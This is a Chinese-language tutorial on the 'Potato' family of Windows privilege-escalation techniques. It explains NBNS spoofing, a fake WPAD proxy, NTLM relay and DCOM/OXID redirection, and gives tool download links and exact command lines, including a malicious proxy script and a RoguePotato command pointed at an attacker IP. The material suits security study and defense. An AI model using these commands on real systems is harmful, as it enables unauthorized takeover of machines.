Potato提权合集
字数 1786 2025-08-09 13:33:49
Potato提权技术合集
前言
Potato提权技术是一系列利用Windows系统漏洞进行本地权限提升的方法,可以将低权限用户提升至SYSTEM权限。本文详细介绍了Hot Potato、Rotten Potato、Lonely Potato、Juicy Potato和Rogue Potato五种提权技术。
Hot Potato提权技术
影响范围
- Windows 7、8、10
- Server 2008和Server 2012
原理详解
Hot Potato利用Windows中的两个已知问题:
- NTLM中继(特别是HTTP->SMB中继)
- NBNS欺骗
攻击分为三个主要步骤:
1. 本地NBNS欺骗
- NBNS(NetBIOS Name Service)是Windows环境中常用的名称解析广播UDP协议
- Windows名称解析顺序:hosts文件 → DNS查找 → NBNS查找
- 通过快速发送所有可能的TXID值(65536个)来欺骗NBNS响应
- 使用UDP端口耗尽技术强制DNS查找失败
2. 虚假的WPAD代理服务器
- Windows会尝试通过
http://wpad/wpad.dat自动检测代理设置 - 结合NBNS欺骗,将WPAD主机名解析到127.0.0.1
- 在本地运行HTTP服务器,返回恶意代理配置:
FindProxyForURL(url,host){ if (dnsDomainIs(host, "localhost")) return "DIRECT"; return "PROXY 127.0.0.1:80"; }
3. HTTP -> SMB NTLM中继
- 将所有HTTP流量重定向到需要NTLM认证的URL
- 将获得的NTLM凭据中继到本地SMB监听器
- 创建以SYSTEM权限运行的服务
实操指南
-
下载工具:https://github.com/foxglovesec/Potato
-
不同系统执行命令:
- Windows 7:
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true - Windows Server 2008:
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.EMC.LOCAL - Windows 8/10/Server 2012:
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
- Windows 7:
后续修复
- MS16-075修补了相同协议的NTLM中继
- MS16-077修补了WPAD名称解析漏洞
Rotten Potato提权技术
影响范围
- 不适用于Windows 10 1809及以上版本
- 不适用于Windows Server 2019及以上版本
原理
- 通过SYSTEM运行的RPC尝试向本地代理进行身份验证
- 使用135端口的RPC作为模板
- 通过AcceptSecurityContext API调用在本地模拟SYSTEM
实操
- 下载工具:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
Juicy Potato提权技术
概念
- CLSID:标识COM类对象的全局唯一标识符
- BITS:后台智能传输服务,用于文件传输,实现了IMarshal接口
优势
- 不依赖meterpreter
- 可指定COM服务器监听端口
- 可使用特定CLSID进行利用
实操步骤
- 下载工具:https://github.com/ohpe/juicy-potato
- 检查用户特权
- 准备反弹shell脚本
- 执行命令:
JuicyPotato.exe -t * -p [程序路径] -l [监听端口]
Rogue Potato提权技术
适用环境
- Windows 10 1809及以上版本
- Windows Server 2019及以上版本
原理
- 指示DCOM服务器执行远程OXID查询
- 将OXID解析请求重定向到伪造的OXID RPC服务器
- 通过命名管道执行身份验证回调
- 使用RpcImpersonateClient()模拟调用者
前提条件
- 需要一台可控的外部机器用于重定向
- 受害者机器可访问该外部机器的135端口
实操指南
- 下载工具:https://github.com/antonioCoco/RoguePotato
- 上传RoguePotato.exe和RogueOxidResolver.exe
- 执行命令:
RoguePotato.exe -r [攻击者IP] -c "{CLSID}" -e "[命令]" -l [监听端口] - 使用正确的CLSID(可从http://ohpe.it/juicy-potato/CLSID/查询)
总结
- Windows 10 1809 & Server 2019及以上:使用Rogue Potato
- Windows 10 1809 & Server 2019以下:使用Juicy Potato
通过合理选择和使用这些Potato提权技术,可以在不同版本的Windows系统上实现从低权限到SYSTEM权限的提升。